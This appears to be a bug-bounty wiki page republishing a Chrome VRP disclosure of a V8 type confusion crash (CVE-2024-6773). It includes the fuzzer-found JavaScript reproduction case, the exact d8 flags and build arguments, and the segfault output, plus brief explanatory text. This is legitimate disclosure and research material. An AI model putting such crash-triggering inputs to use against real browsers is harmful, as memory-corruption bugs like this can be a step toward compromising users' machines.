Type Confusion in V8 (CVE-2024-6773)
A fuzzer found a type confusion bug in V8, Chrome's JavaScript engine, that causes a segmentation fault when a crafted JavaScript program is run. The text only shows a crash, not a demonstrated path to code execution in the browser.
Originally disclosed on Chrome VRP
- Fix shipped in 30 days
VULNERABILITY DETAILS
Fuzzing revealed a segmentation fault in LTS version of V8. Please find details below. It can be reproduced easily by running the file attached against d8 using the command: d8 --expose-gc --omit-quit --future --harmony --assert-types --harmony-struct --allow-natives-syntax --interrupt-budget=1000 --fuzzing program_20240616125405_DD3686A2-ED9F-413D-AAE3-0D69F7A03569_deterministic.js
Compiled v8 with: gn gen out/fuzzbuild --args='is_debug=false dcheck_always_on=true v8_static_library=true v8_enable_verify_heap=true v8_fuzzilli=true sanitizer_coverage_flags="trace-pc-guard" target_cpu="x64"'
VERSION
Chrome Version: LTS Operating System: Ubuntu 22.04
REPRODUCTION CASE
for (let v0 = 0; v0 < 83; v0++) {
function F1(a3, a4, a5, a6) {
if (!new.target) { throw 'must be called with new'; }
const v8 = ("number").source;
function F9(a11, a12, ...a13) {
if (!new.target) { throw 'must be called with new'; }
a13[0];
try {
const v15 = new F9(a12, ...a13, F9);
} catch(e16) {
}
}
const v17 = new F9(F9, v8, v8);
}
const v18 = new F1();
}
FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: browser
Crash State:
// CRASH INFO
// ==========
// TERMSIG: 11
// STDERR:
// [COV] edge counters initialized. Shared memory: shm_id_1188638_23 with 1366912 edges
// V8 is running with experimental features enabled. Stability and security will suffer.
// Received signal 11 SEGV_ACCERR 22e4beadbef6
//
// ==== C stack trace ===============================
//
// [0x55f77b30553d]
// [0x7fea9490b520]
// [0x55f77eae86a1]
// [end of stack trace]
Client ID (if relevant): N/A
CREDIT INFORMATION
Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited? Reporter credit: 2ourc3 | Salim Largo
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
The crafted script causes a segmentation fault in V8; the text does not show whether this could be turned into code execution in the browser.
What the attacker needed
Ability to run JavaScript in V8; specific engine build and flags
How it was found
- Build V8 with the fuzzing configuration given in the report.
- Run the attached JavaScript file against d8 with the listed flags.
- Observe the segmentation fault in the crash output.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
V8 is the part of Chrome that runs JavaScript code. A type confusion means the engine treats one kind of value as if it were a different kind, which can make it read or write the wrong memory and crash. Here the only proven result is a crash, not a working attack.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.